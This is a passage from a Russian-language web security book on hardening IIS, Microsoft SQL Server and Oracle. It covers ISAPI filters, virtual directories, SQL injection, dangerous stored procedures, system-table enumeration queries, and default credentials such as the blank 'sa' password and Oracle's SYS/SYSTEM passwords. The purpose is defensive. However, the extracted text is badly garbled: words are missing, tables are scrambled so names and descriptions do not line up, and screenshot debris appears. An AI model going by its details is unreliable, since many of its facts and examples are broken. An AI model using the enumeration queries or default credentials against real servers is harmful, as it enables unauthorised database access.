для того чтобы обработка всех файлов с расширением .stu выполнялась с ис пользованием специально разработанного сценария Perl, необходимо добавить в файл следующие строки: Action my file type Для получения более подробной информации о сервере Apache и ознакомления с теми мерами, которые позволят сделать его более защищенным, обращайтесь по адре су: Internet Information Server компании Microsoft Компания Microsoft уже достаточно давно рассматривает Web сервер IIS как важ нейшее звено своей Internet стратегии. Microsoft настолько уверена в сервере IIS, что начиная с версии NT 4.0 включает его в состав операционной системы Windows. И хотя повсеместное распространение сервера IIS по прежнему недостижимо, а на фоне сер вера Apache он выглядит еще более бледно, тем не менее этот программный продукт действительно заслуживает внимания. Будет ли он доминировать на рынке и удастся Глава 2. и серверы баз данных 63
ли ему завоевать цифровой интерактивный мир, как этого хотелось бы Microsoft? Ответ на этот вопрос можно получить только со временем. Однако используемая по умолчанию конфигурация IIS может оказаться настоящим рогом изобилия различных уязвимых мест, существующих в системе безопасности. В данном разделе рассматриваются отдельные компоненты, оказывающие сущест венное влияние на безопасность сервера IIS, а также его основные недостатки, которые позволяют злоумышленнику превратить брандмауэр в настоящий швейцарский сыр. Приложения ISAPI Если у вас возник вопрос: "Что оказывает наибольшее влияние на безопасность Web сервера то единственным правильным ответом будет следующий: "Прило жения, поддерживающие интерфейс ISAPI (Internet Server Application Programming Интерфейс ISAPI позволяет расширить функциональность Web сервера IIS обеспечивает возможность создания собственных программ обработки данных и за просов, передаваемых на Web сервер, и манипулирования ими. Кроме того, с помо щью можно "отлавливать" все пакеты, поступающие на Web сервер, и выполнять их предварительную обработку. Такой подход позволяет повы сить контроль и предотвращает атаки на Web серверы. Парадоксально, но именно предварительная обработка пакетов открывает новые возможности для нару шения защиты Web сервера. Как же это происходит? По умолчанию вместе с серве ром IIS устанавливается большое число фильтров ISAPI, которые можно использовать для проникновения на Web сервер. Почему это возможно? По закону больших чисел. Имея достаточно точек входа на Web сервер, хакер сможет проникнуть на него, а "виновными" в наличии множества таких путей оказываются фильтры ISAPI. К огромному числу фильтров ISAPI, существующих в стандартном комплекте сер вера IIS 5.0 для Windows 2000, относятся и представленные в табл. Таблица 2.1. Фильтры ISAPI Расширение Путь для выполнения ISAPI Описание .asa C:\winnt\system32\inetsrv\ asp.dll .cdx asp.dll .cer asp.dll .htw .ida idq.dll .idq idq.dll Active Server Page --- серверное расширение, обеспечи вающее возможность динамической генерации содер жимого Active Server Page --- серверное расширение, обеспечи вающее возможность динамической генерации содер жимого Active Server Page --- серверное расширение, обеспечи вающее возможность динамической генерации содер жимого Active Server Page --- серверное расширение, обеспечи вающее возможность динамической генерации содер жимого Расширение индексного сервера (Index Server) Расширение индексного сервера (Index Server) Расширение запросов данных Internet и индексного сервера 64 Часть I. Будни электронной коммерции
Окончание табл. Расширение Путь для выполнения Описание ISAPI httpodbc.dll .htx C:\winnt\system32\inetsrv\ httpodbc.dll . shtm ssinc.dll C:\winnt\system32\inetsrv\ ssinc.dll C:\winnt\system32\inetsrv\ ssinc.dll .htr Средство связи с базами данных через (Internet Database Connector) Средство связи с базами данных через Internet --- IDC (Internet Database Connector). Использует программный интерфейс ODBC для взаимодействия с такими базами данных, как SQL Server Средство печати через Internet Включения SSI. Обеспечивают возможность динамиче ской генерации содержимого Web Включения SSI. Обеспечивают возможность динамиче ской генерации содержимого Web Включения SSI. Обеспечивают возможность динамиче ской генерации содержимого Web Администрирование через Web. Предоставляет средст ва выполнения административных функций через Web, например изменения паролей Хотя фильтры API позволяют расширить список функциональных возможно стей Web сервера, они приводят также к росту количества потенциальных уязвимых мест в его подсистеме Возьмем, например, фильтры .idq и .ida. Именно они в немалой степени несут ответственность за успех "вирусов червей" Code Red и Nimda, ущерб от деятельности которых составляет более чем 000 на каждую из компаний списка Fortune 1000. "Червь" Code Red использовал условие перепол нения буфера в расширении Уязвимость фильтра индексного сервера по зволила этому вирусу передавать запрос на Web сервер и инициировать переполне ние буфера библиотеки DLL, обрабатывающей этот запрос. В результате на удален ной системе можно было выполнять команды. Весь фокус этой атаки в что ее "детонатор" содержался в самом HTTP запросе. Поэтому такой запрос был почти законным и пропускался практически всеми брандмауэрами и proxy серверами, ко торые встречались на его пути. Результаты превзошли все ожидания: хакер смог выполнять команды на удаленных системах и управлять ими. Проблема с фильтрами имеет свое решение: нужно отслеживать все выпускаемые Microsoft модули обновления и сразу же их устанавливать. Однако можно восполь зоваться и другим способом (позволяющим существенно повысить общую защищенность системы). Можно удалить с Web сервера все ненужные фильтры ISAPI, воспользовавшись диспетчером служб Internet (Internet Services Manager). Для этого перейдите в диалоговое окно свойств запушенного Web сервера. Затем перейдите во вкладку ISAPI Filters и удалите ненужный фильтр (или все фильтры сразу). Далее перейдите во вкладку Home Directory и щелкните на кнопке Configuration. Как видно на рис. в появившемся диалоговом окне содержится перечень фильтров и соответствующих им приложений, используемых по умолчанию. И наконец, по очереди удалите все ненужные строки. Замечание. То же самое можно выполнить и в диалоговом окне Web Master Properties. Для этого щелкните правой кнопкой мыши на имени системы в окне диспетчера служб Internet, выберите команду Properties и повторите все предыдущие шаги. Это позволит удалить ненужные соответствия и фильтры ISAPI для всех существующих Web серверов. Глава 2. Web серверы и серверы баз данных 65
App Mappings а Рис. 2.1. Фильтры и соответствующие им приложения сервера IIS Кроме того, отдельно разработанные или стандартные фильтры ISAPI могут быть источником потенциальной угрозы. Фильтры ISAPI --- это программы, которые вы полняют роль промежуточного слоя, перехватывая поступающие запросы еще до того, как к их обработке приступит серверное Удалить или отключить можно следующие стандартные фильтры ISAPI: • sspifilt • Compression • • fpexedll.dll Для их удаления просто отредактируйте свойства в соответствующих диалоговых окнах. Виртуальные каталоги Сервером IIS поддерживаются виртуальные каталоги, которые аналогичны средст вам связывания системы UNIX. С помощью этих каталогов администратор может связать какой либо каталог корневого каталога Web сервера с другим каталогом, на ходящимся на жестком диске или на удаленной системе. К сожалению, используемые по умолчанию виртуальные каталоги нужно удалить. Для этого просто воспользуйтесь утилитой Internet Services Manager, щелкните на элементе, соответствующем требуе мому Web серверу, а затем удалите ненужные виртуальные каталоги. правило, после установки сервера IIS 5.0 можно удалить следующие виртуаль ные каталоги. • Scripts. Если нужно воспользоваться возможностями технологий CGI, ASP или ISAPI, то должен существовать каталог с правами на выполнение сценариев. Однако всегда лучше удалить такой каталог, поскольку он, как правило, и явля ется целью взломщиков (рис. 2.2). • _vti_bin. Требуется для поддержки средств FrontPage. • Printe rs. Обычно используется для печати в Web. 66 Часть I. Будни электронной коммерции
1WWW for [ | I | | F t are for Web on computer on f I Low Low 2.2. Фильтры которые можно удалить Эти и другие виртуальные каталоги можно удалить, не опасаясь какого либо на рушения функционирования системы. Однако каждая система уникальна, поэтому перед удалением каталогов обязательно согласуйте свои действия с системным адми нистратором. Файлы примеров Как и при использовании любого другого приложения, в состав сервера IIS вклю чено множество файлов с примерами. Как правило, эти файлы облегчают разработку пользовательских модулей и помогают разобраться с теми или иными функциональ ными возможностями системы. Однако, поскольку эти файлы устанавливаются по умолчанию и предназначены для разработчиков, зачастую в них содержатся изъяны, представляющие угрозу для безопасности. В системе Windows 2000, под управлением которой запущен сервер IIS 5.0, по умолчанию устанавливаются следующие файлы. Описание Файлы примеров IIS Документация IIS Размещение по умолчанию Виртуальный каталог \IISHelp Доступ к данным \MSADC Общее правило, которого следует придерживаться при каждой установке, заключа ется в необходимости удаления таких файлов или, как минимум, определения для них списка управления доступом (Access Control List --- ACL) с помощью разрешений файловой системы NTFS. Удаление потенциально опасных файлов и каталогов --- это самое простое и эффективное средство защиты, однако на практике такой подход не всегда применим. Например, если в приложении используются определенные стан дартные компоненты, то удаление файлов может привести к нарушению его функ ционирования. В качестве альтернативы можно ограничить доступ к определенным файлам и предоставлять его только тем пользователям, которым это действительно необходимо, например администраторам (т.е. разработчикам). Разрешения для доступа к файлам NTFS назначить очень просто, однако при не корректном использовании они могут нарушить работу соответствующих приложений. Для правильного применения списков ACL необходимо ответить на два вопроса. Глава 2. и серверы баз данных 67
• Какие файлы доступны для данного Web узла? (Возможно, в некоторых случаях придется исходить из того, что должны быть доступны все файлы. Естественно, это потребует определения соответствующих списков ACL.) • Какие разрешения требуется определить, чтобы обеспечить необходимую функ циональность? Если известны ответы на эти назначить списки ACL --- пара пустяков. На рис. 2.3 приведен пример неудачно назначенных разрешений для доступа к каталогу которые используются по умолчанию. Разрешать полный доступ всем поль зователям --- это чрезвычайно опасный подход. Однако такую ситуацию легко исправить. Просто удалите из списка Name группу Everyone, щелкнув на кнопке Remove. Затем добавьте учетные записи щелкнув на кнопке Add, и предоставьте им право только чтения и, возможно, выполнения (в зависимости от конкретной ситуации). Как видно из рис. 2.4, права доступа к ката логу iisamples должны быть максимально ограничены. | | Alow Execute Contents Write В т т т в D D П П D from to to | С Control Modify Read Write | parent ' . • П D в т п П D D п1 _ Рис. 2.З. Свойства каталога iisamples Рис. 2.4. Ограниченные права доступа к каталогу При использовании списков ACL значительно снижается уязвимость системы. Да же если хакеру удастся запустить потенциально уязвимый файл, то он не сможет ис пользовать его для того, чтобы записать какой либо другой файл в данный каталог (что позволит ему расширить свое присутствие в системе). Виртуальные узлы Выше уже рассматривались вопросы поддержки виртуальных узлов сервером Apache. Сервер IIS компании Microsoft тоже предоставляет такую возможность. При этом для реализации схемы адресации и поддержки нескольких Web узлов можно ис пользовать вторичные IP адреса. Хотя виртуальный хостинг и не несет существенной угрозы безопасности, он все же представляет большой интерес для взломщика. Если хакеру удастся определить, что на данной системе поддерживаются виртуальные узлы, то вполне возможно, что она окажется наиболее привлекательной целью, ради которой можно отказаться от попыток взлома других узлов. Ниже показано, как в Windows обеспечить поддержку виртуальных Web узлов в рамках одной системы. 68 Часть I. Будни электронной коммерции
Вторичные IP адреса Первый шаг заключается в создании вторичных IP адресов. В системе Windows это сделать несложно, и для большинства системных администраторов задача конфигури рования сетевого интерфейса сводится к выполнению перечисленных ниже действий. 1. Щелкните на кнопке Start. 2. Выберите команду Settings. 3. Выберите команду Network and Connections. 4. Выберите нужный сетевой интерфейс. 5. Щелкните на кнопке Properties (рис. 2.5). 6. Выберите компонент Internet Protocol (TCP/IP) и щелкните на кнопке Properties. 7. Щелкните на кнопке Advanced... (рис. 2.6). 8. Во вкладке IP Settings щелкните на кнопке Add (рис. 2.7). 9. Теперь можно добавить дополнительные IP адреса, как показано на рис. 2.8. Рис. 2.5. Окно состояния Youanя»IP «signed to the IP en IP .|172.16. о.О | 172. 1 Г | |WINS| | Puc. 2.6. Вкладка основных свойств прото кола Internet Puc. 2.7. Вкладка дополнительных пара метров Рис. 2.8. Окно для добавления IP адресов Глава 2. и серверы баз данных 69
Поддержка нескольких Web узлов Следующий этап настройки Web сервера IIS для поддержки нескольких Web узлов заключается в том, чтобы создать серверы и связать их с созданными IP адресами. Для этого выполните ряд действий. 1. Откройте окно диспетчера служб Internet, воспользовавшись командой Admin istrative Tools. 2. Щелкните правой кнопкой мыши на имени системы. 3. Выберите команду site. 4. Следуйте указаниям мастера и выберите новый IP адрес для созданного Web сервера. 5. Выберите путь к отдельным файлам Web сервера. 6. Выполните оставшиеся шаги, чтобы задать разрешения на использование соз данного Web сервера, которые будут установлены по умолчанию. Безусловно, технология поддержки многих Web узлов важна для тех поставщиков услуг, которые стремятся наиболее эффективно использовать свои ресурсы, и хакерам это хорошо известно. Как следствие, в качестве жертвы взломщики зачастую выбира ют провайдера услуг Internet: если получен доступ с правами администратора к одной системе, то потенциальными жертвами становятся десятки Web узлов. Серверы баз данных Ключевым элементом любого Web приложения являются средства управления ба зой данных, т.е. механизм хранения и извлечения данных, к которым могут обратить ся как пользователи, так и хакеры. Сами данные --- это хранимая "в недрах" базы данных пользовательская или системная информация. К сожалению, в мире баз дан ных вопросам обеспечения безопасности не уделяется практически никакого внима ния. В результате установленная система управления базами данных с параметрами, заданными по умолчанию, имеет множество уязвимых мест, и в ближайшие годы ста нет известно о многих других ее изъянах. Основные базы данных, которые в время используются в электронной коммерции, --- это SQL компании Microsoft и Oracle. Microsoft SQL Server явля ется прекрасным примером системы управления базами данных, темпы развития ко торой в Целом заметно опережали скорость реализации ее подсистемы защиты. Хотя маркетинговая политика компании Oracle по продвижению своего продукта на рынок могла вскружить голову, уязвимые места в системе Oracle также были обнаружены. Данная глава будет посвящена именно этим двум ведущим коммерческим системам управления базами данных. Однако сначала необходимо рассмотреть несколько важ ных концепций, имеющих отношение к обоим программным продуктам. Фальсификация SQL Фальсификация SQL (SQL poisoning) --- это технология, которая появилась вслед ствие простой ошибки и присутствует в любой среде, где используется база данных, поддерживающая язык SQL (Microsoft SQL Server, Oracle, Access и т.д.). Конечно, это получилось случайно, однако кто то где то (необязательно хакер) допустил ошибку в адресе URL или случайно вставил в него лишний символ, а в результате интерак тивное приложение стало отправлять в базу данных фиктивные или, что еще хуже, некорректные данные, порождая ошибку. 70 Часть I. Будни электронной коммерции
Этот метод чрезвычайно опасен и часто встречается, невероятно способствуя осу ществлению некоторых наиболее тщательно разработанных операций хакеров в Web. Кроме того, такой подход позволяет злоумышленнику оставаться почти невидимым для систем выявления вторжений. Необходимо выделить два типа SQL фальсификации: генерация данных и генера ция ошибок. Поскольку оба подхода достаточно опасны, им следует уделять серьезное внимание, когда речь идет о проектировании приложений. Здесь мы лишь кратко упомянем о них, а более подробно SQL фальсификация рассматривается в главе Генерация данных При атаках, основанных на генерации данных, хакер пользуется недостатками архитектуры Web приложения, чтобы передать стандартные SQL строки в специально разработанный SQL запрос, обходя при этом предполагаемый вывод данных и порож дая дополнительные данные. Генерация ошибок При таких атаках цель заключается не обязательно в обходе существующих меха низмов контроля и получении неавторизованного доступа к данным (хотя это являет ся одним из побочных эффектов), а скорее в том, чтобы вывести на экран важную информацию о конфигурации системы. Операторы языка SQL В табл. 2.2 представлены некоторые важные операторы SQL, позволяющие ощу тить реальную угрозу, которой подвержены базы данных. Более полную информацию об использовании этих операторов можно найти по адресу: com. Таблица 2.2. Операторы SQL Команда Описание ALTER DATABASE Позволяет изменить выбранную базу данных, добавив новые или удалив сущест вующие файлы ALTER TABLE Позволяет изменить таблицу базы данных путем изменения, добавления или ния столбцов ALTER VIEW Предназначен для изменения ранее созданного представления CREATE DATABASE Создает новую базу данных CREATE Создает хранимую процедуру CREATE SCHEMA Создает схему базы данных CREATE TABLE Создает таблицу в базе данных CREATE VIEW Создает представление для таблицы (таблиц) базы данных DELETE Удаляет строки из таблицы DROP DATABASE Уничтожает базу данных, удаляя ее файлы DROP PROCEDURE Удаляет хранимую процедуру DROP TABLE Удаляет таблицу из базы данных DROP VIEW Удаляет представление из базы данных Глава 2. Web серверы и серверы баз данных 71
Окончание табл. 2.2 Команда Описание INSERT Добавляет новую строку таблице или представление Выбирает поля из указанной таблицы (таблиц) для просмотра USE Изменяет контекст активной базы данных Microsoft SQL Server Среди современных Web серверов Microsoft SQL Server занимает лидирующее поло жение. Во многом это объясняется его низкой стоимостью. За несколько последних лет тысячи компаний и отдельных пользователей стали в той или иной форме использовать SQL Server и образовали целое сообщество пользователей интерактивных баз данных. С учетом такой популярности вполне закономерным выглядит повышенный интерес, который проявляется к SQL Server враждебно настроенными пользователями. Вопросам обеспечения безопасности SQL Server можно посвятить целую книгу. (Для получения более подробной информации следует обратиться именно к такому источнику.) В дан ной же главе рассматриваются основные недостатки этого программного продукта. Стандартныехранимыепроцедуры В комплект поставки SQL Server входит набор стандартных хранимых процедур, благодаря использованию которых операторы SQL могут храниться и выполняться на Web сервере, что позволяет существенно повысить производительность. Как и при использовании любого другого программного обеспечения, установленного с пара метрами, заданными по умолчанию, серверы баз данных также обладают потенциаль ными изъянами, которыми взломщик может воспользоваться для выполнения не санкционированных действий в системе. Краткий перечень хранимых процедур, устанавливаемых по умолчанию вместе с SQL Server 2000, приведен в табл. 2.3. Кроме того, в состав Microsoft SQL Server 2000 входят и дополнительные хранимые процедуры. Однако процедуры, перечисленные в табл. 2.3, наиболее опасны в аспекте обеспе чения безопасности. Таблица 2.3. и дополнительные хранимые процедуры базы Процедура Описание Добавляет новое сообщение об ошибке в таблицу Отображает или изменяет такие глобальные параметры конфигурации, как ре жим аудита с2, допустимость обновлений, поддержка удаленного доступа, ин тервал ожидания при удаленной регистрации, параметры пользовательских соединений и т.д. sp_help Позволяет получить практически любую информацию о самом SQL сервере и всех его объектах Предоставляет список доступных баз данных. Если в качестве параметра ука зано имя базы данных, то отображается информация о ней Отображает информацию о разрешениях, связанных с объектами sp_OACreate Создает экземпляр 72 Часть I. Будни электронной коммерции
Продолжение табл. 2.3 Процедура sp_OADestroy sp OAGetProperty sp_OASetProperty sp_OAStop sp_tables sp_who xp_dirtree xp_dsninfo xp xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_loginconfig xp_logininfo xp_ntsec_enumdomains Описание Уничтожает OLE объект Отображает информацию об ошибках OLE Automation Отображает значение свойства Вызывает метод OLE объекта Задает свойство OLE объекта Прекращает выполнение хранимой процедуры OLE Automation Добавляет или изменяет пароль для регистрации в системе SQL Server. При мер: EXEC sp_password 'oldpass', 'sa' Отображает таблицы текущей базы данных. Эту процедуру полезно использо вать, если нужно получить перечень всех таблиц базы данных. Примеры: EXEC sp_tables или use mydb; EXEC sp_tables; Отображает информацию о соединениях с сервером SQL, например их статус; регистрационное имя; имя узла, который инициировал установку соединения; имя базы данных и команды, например SELECT Выдает информацию о доступных драйверах Выполняет произвольные команды с привилегиями администратора Удаляет сообщение из почтового ящика Microsoft SQL Server Позволяет получить данные о дереве каталога Отображает информацию об источнике данных ODBC Предоставляет информацию об источниках данных ODBC, имеющихся на сервере Отображает список групп Windows в данной системе. Пример: EXEC Отображает журналы регистрации событий системы Windows Предоставляет информацию о жестких дисках системы и объеме их свободно го пространства в мегабайтах Отображает свойства заданного файла. Пример: EXEC Сообщает NetBIOS имя системы Предоставляет права на регистрацию в системе заданному пользователю. Пример: EXEC grantlogin administrator Регистрирует пользовательское сообщение в журнале SQL Server Предоставляет информацию о режиме безопасности, используемом на сервере Отображает регистрационные данные различных пользователей Позволяет пользователю создать сжатый архив файлов, хранимых на сервере (или любых файлов, к которым сервер может получить доступ) Показывает версию Microsoft SQL Server, включая всю информацию об опера ционной системе. Пример: EXEC msver Предоставляет перечень доменов, к которым сервер может получить доступ Глава 2. и серверы баз данных 73
Окончание табл. 2.3 Процедура Описание хр readerrorlog xp_regdeletevalue xp xp_regread xp_regwrite xp_servicecontrol xp_stopmail xp_subdirs xp_terminate_process Выводит на экран журнал регистрации ошибок SQL Server Читает сообщение из входного почтового ящика SQL Server Позволяет добавить в системный реестр ключ с типом Удаляет параметр системного реестра Удаляет значение параметра системного реестра Перечисляет ключи системного реестра Выполняет инвентаризацию значений параметров системного реестра Считывает значение ключа реестра Удаляет многострочный ключ системного реестра Позволяет присвоить значение параметру системного реестра Отменяет права доступа для группы или отдельного пользователя Windows Отправляет сообщение Обеспечивает возможность запуска или останова службы Windows. При мер: EXEC Инициирует сеанс почтового клиента SQL Server Завершает сеанс почтового клиента SQL Server Предоставляет список подкаталогов Прекращает процесс с заданным идентификатором (PID) Не определена Лучший способ управления хранимыми процедурами --- их удаление. Для этого выполните следующее. 1. Воспользуйтесь утилитой Enterprise Manager, в состав Microsoft SQL Server, и откройте необходимую базу данных. Обычно такой базой данных является Master. 2. Откройте папку Extended Stored Procedures этой базы данных. 3. Щелкните правой кнопкой мыши на нужной хранимой процедуре. 4. Для SQL сервера версий 7.x, 8.x, и 2000 для удаления хранимой процедуры воспользуйтесь элементом Delete. Если без комплексного анализа полностью удалить хранимые процедуры нельзя, то можно просто ограничить права доступа к ним. Для того чтобы определить соот ветствующие списки доступа (ACL), выполните ряд действий. 1. Воспользуйтесь утилитой Enterprise Manager и откройте необходимую базу данных. Как правило, такой базой данных является Master. 2. Раскройте папку Extended Stored Procedures этой базы данных. 3. Щелкните правой кнопкой мыши на нужной хранимой процедуре. 4. В контекстном меню выберите команду Properties. 5. Перейдите во вкладку Permissions. 74 Часть I. Будни электронной коммерции
6. Внесите необходимые изменения в заданные разрешения. В целом можно обеспечить достаточно высокий уровень защищенности баз дан ных Microsoft SQL Server, однако в любом случае приведенные выше шаги позволят максимально приблизиться к этой цели. Базы данных, устанавливаемые по умолчанию Знакомство с теми базами данных, которые можно найти в любой системе с уста новленным SQL Server, позволит более полно представить то поле деятельности, на котором хакеры активно занимаются своими "опытами". При установке сервера обя зательно создается ряд баз данных, предназначенных для поддержки функциональных возможностей SQL Server. master База данных master предназначена для хранения системной информации об характера, такой, как учетные регистрационные записи, конфигураци онные параметры, а также системные хранимые процедуры. Без корректной копии этой базы данных запуск SQL Server окажется невозможным. msdb В базе данных msdb хранится информация службы SQL Server Agent, в частно сти описание заданий, операторов и предупреждений. model База данных model используется в качестве шаблона для всех создаваемых пользовательских баз данных. В базе данных tempdb хранятся такие временные объекты SQL Server, как вре менные таблицы и хранимые процедуры. Каждая из этих баз данных устанавливается по умолчанию и содержит таблицы, которые будут интересовать взломщика в первую очередь. Системные таблицы, создаваемые по умолчанию Отдельного упоминания заслуживают следующие таблицы базы данных master. Sysobjects Содержит все объекты указанной базы данных. Sysdatabases Содержит перечень всех доступных баз данных, дату их создания, а также соответствующее имя файла и полный путь. Содержит пароли и идентификаторы всех зарегистрированных пользо вателей. Sysprocesses Содержит всю информацию о системных и клиентских процессах. Эти данные могут оказаться полезными для определения того, что и кем выполняется в конкретный момент. А вот список стандартных таблиц, в каждой пользовательской базе данных. Содержит информацию о каждом столбце всех таблиц и представле ний. Кроме того, для каждого параметра хранимой процедуры содер жит use mydb; select * from Содержит перечень всех файлов этой базы use my db; select * from sysfiles. Sysobjects Содержит список всех объектов этой базы use my db; select * from sysobjects. Глава 2. Web серверы и серверы баз данных 75
Содержит информацию о разрешениях, установленных для пользова телей, групп и ролей. Содержит описание разрешений, назначенных учетным записям безо пасности с помощью операторов GRANT и DENY. Systypes Содержит описание всех системных и пользовательских типов данных, используемых в заданной базе данных. Эта информация облегчает анализ внутренней структуры базы данных. Sysusers Содержит перечень всех пользователей Windows и SQL Server, имею щих доступ к базе данных. Use mydb; select * from sysusers;. Эти системные и пользовательские таблицы могут оказаться настоящей находкой для злоумышленника, который решил прибегнуть к атаке с применением кода SQL. Более подробно подобные атаки рассматриваются в последующих главах. Стандартные системные функции и функции манипулирования метаданными Поскольку в Microsoft SQL 2000 поддерживается язык то им предос тавляется огромный набор простых функций, которые можно вызывать непосредст венно в строке SQL запроса и получать нужную информацию. Вот краткий список наиболее полезных функций. Возвращает идентификатор (ID) базы данных. Например: db или use mydb; select Возвращает имя используемой в данный момент базы данных. Эта функция позволяет определить, какая база данных используется по умолчанию. Например: select db_name Возвращает имя файла для заданного идентификатора (ID). Эту функцию полезно использовать для получения списка всех файлов одной базы данных. Например: select или use mydb; select Возвращает системную дату и select Возвращает имя объекта базы данных. Эта функция полезна для получения списка различных объектов базы select object или use mydb; select Setuser Позволяет переключиться в режим другого пользователя. Однако эту функцию можно использовать, если для текущего пользователя определена роль или db_owner. setuser ' current_user Возвращает имя текущего пользователя. Эту функцию полезно ис пользовать для идентификации пользователя, выполняющего запро сы к базе данных, --- select Для взломщика приведенные выше функции языка Transact SQL могут ока заться весьма полезными. Стоит заметить, что это внутренние функции Microsoft SQL Server 2000 и удалить их нельзя. Поэтому при обработке пользовательских запро сов нужно должным образом отфильтровывать ненужные данные. Это будет неодно кратно на протяжении всей книги. 76 Часть I. Будни электронной коммерции
Представления информационной схемы В стандарте определены представления информационной схемы, обеспечи возможность просмотра системных данных. Такие представления играют важ ную роль, защищая, если это необходимо, базовые таблицы от изменений или повреж дений. Однако эти представления могут подвести, когда дело касается схемы самой базы данных. Для создания подобных представлений используется следующий синтаксис: select * fro m В результате обработки такого запроса будет получен список всех таблиц заданной базы данных. Для взломщика не может быть ничего лучше, чем получить столь ценную информацию. Кроме того, можно воспользоваться и другими ключевыми словами. CHECK CONSTRAINTS COLUMN COLUMNS USAGE CONSTRAINT KEY_COLUMN USAGE REFERENTIAL CONSTRAINTS ROUTINES SCHEMATA TABLE CONSTRAINTS TABLES VIEW COLUMN USAGE USAGE VIEWS К сожалению, эти функциональные возможности являются неотъемлемой частью Microsoft SQL Server, от использования которой нельзя отказаться. Пароли Вне всякого сомнения, наиболее распространенная в мире баз данных комбинация "идентификатор пользователя/пароль" используется в Microsoft SQL Server: имя поль зователя и пустой пароль. По умолчанию для учетной записи sa SQL сервера ис пользуется пустой пароль. Тем самым база данных подвергается огромному риску. Microsoft SQL Server: заключительные замечания После установки в SQL сервере компании Microsoft присутствует целый ряд изъя нов. Начиная с ошибок в синтаксическом анализаторе хранимых процедур и закан чивая возможностью организации атак с использованием кода SQL, в этой системе управления базами данных можно без проблем найти разнообразные уязвимые места, которые могут вызвать повышенный интерес у хакеров. В большинстве случаев риск можно снизить, прибегнув к превентивным мерам, однако некоторые из таких проце дур могут негативно повлиять на общую функциональность системы. Прежде чем предпринимать какие либо кардинальные шаги по повышению уровня защищенности, обязательно согласуйте свои действия с администратором базы данных. Для получе ния более подробной информации по защите SQL сервера обращайтесь по адресу: Глава 2. Web серверы и серверы баз данных 77
. Oracle Конец 2001 и начало 2002 года ознаменовались смелыми утверждениями компании Oracle о том, что для ее программных продуктов атаки хакеров не страшны. Конечно же, "невзламываемой" системы не существует. Обеспечение безопасности --- это про цесс, а не цель, и даже если компании пытаются обеспечить безопасность своих про грамм, сама идея создания "недоступного" для хакеров или "невзламываемого" про граммного обеспечения является абсурдной. Как специалистами по обеспечению безопасности, так и элитой сообще ства такое дерзкое и самонадеянное заявление было воспринято как вызов. Многие лучшие специалисты в области защиты направили свою энергию на поиск уязвимых мест в приложениях Oracle. Спустя лишь несколько недель приложения Oracle снова и снова оказывались "поверженными". Порой для этого не требовалось особых усилий со стороны многочисленных исследователей. Так стоило ли компании рисковать, заявляя о подобной неуязвимости? На этот вопрос может ответить только сама компания Oracle. В этом разделе рассматриваются основные компоненты, которые подвержены рис ку нарушения безопасности и поэтому интересуют взломщиков. Кроме того, вы уз о средствах защиты, которые помогают противостоять этой опасности. Системные таблицы таблицы устанавливаются по умолчанию и обеспечивают хранение ос новной информации о внутреннем "устройстве" самой базы данных. В них содержатся сведения о пользовательских таблицах представлениях и даже всех таблицах Ниже представлен полный список используемых по умолчанию таблиц системы Oracle. CONSTRAINTS TRIGGERS Эти таблицы нужно защищать особенно тщательно, поскольку взломщик может воспользоваться ими для исследования базы данных и получения доступа к храня щимся в ней данным. В рамках стратегии обеспечения безопасности компании Oracle используется механизм назначения специальных ролей и привилегий, аудит кото рых необходимо проводить для сохранения конфиденциальности информации. За служивающее внимания средство аудита Oracle для системы Windows можно найти по адресу: http://www.cqure.net/tools07.html. Подробную информацию о назначении привилегий, определении ролей и политики безопасности можно найти по адресу: library/817 Пароли Пароли являются важнейшим средством обеспечения безопасности (или "средством" взлома) в любом приложении, и продукты компании не являются исключением. При установке системы Oracle некоторые пароли задаются по умолчанию, так что при первой возможности их следует сразу же изменить. Например, в системе Oracle 8.1.7 по умолчанию используются следующие пароли (этот список далеко не исчерпывающий). 78 Часть I. Будни электронной коммерции
Имя пользователя Пароль SYS change on_install SYSTEM manager Sysman Замена этих используемых по умолчанию паролей и обязательное применение бо лее сложных паролей для пользователей и администраторов играют роль в том, чтобы не допустить хакеров к базе данных. При определении политики назначе ния паролей рекомендуется руководствоваться рядом правил. • Увеличить минимально допустимую длину паролей. • Выбирать более сложные комбинации символов. • Выбирать более сложные слова. • Обеспечивать блокировку паролей. • Назначать срок действия паролей. • Избегать повторного использования паролей. Чтобы узнать, как внести необходимые изменения и обеспечить использование более надежных паролей в конкретной версии Oracle, обратитесь к соответствующим разделам документации компании Oracle. Привилегии В системе Oracle определено более ста различных системных привилегий. При управлении базой данных могут поддерживаться и контролироваться любые приви легии, начиная с CREATE USER и заканчивая SELECT ANY TABLE. С использованием привилегий, связанных с доступом к объектам, администра тор базы данных может предоставлять определенным пользователям доступ к кон кретным объектам, например к таблицам. В целом привилегии на уровне объектов позволяют реализовать более детализированный контроль базы данных и ее таблиц, чем системные привилегии. При некорректном задании системных привилегий или разрешений на доступ к объектам взломщик получает возможность неавторизованного просмотра данных. Как правило, при этом используются операторы SQL. Более подробно этот вопрос рас сматривается в главе Служба Oracle Listener Служба Oracle Listener --- это традиционная точка входа в базы данных Oracle. Эта служба ожидает поступления запросов от удаленных или локальных источников, а затем передает их соответствующей базе данных. По умолчанию служба Listener прослушивает TCP порт 1521, однако администраторы могут связать ее и с другим портом (например, 1541), поэтому необходимо уделять внимание использованию альтернативных портов. По большому счету, для хакеров именно эта служба являет ся "входной дверью" в программные средства Oracle. Запрос о Запрос о текущем состоянии, направленный службе Oracle Listener, --- это первый шаг, который может быть предпринят при реализации атаки. Сгенерировав подобный запрос, можно рассчитывать на получение следующей информации. Глава 2. Web серверы и серверы баз данных 79
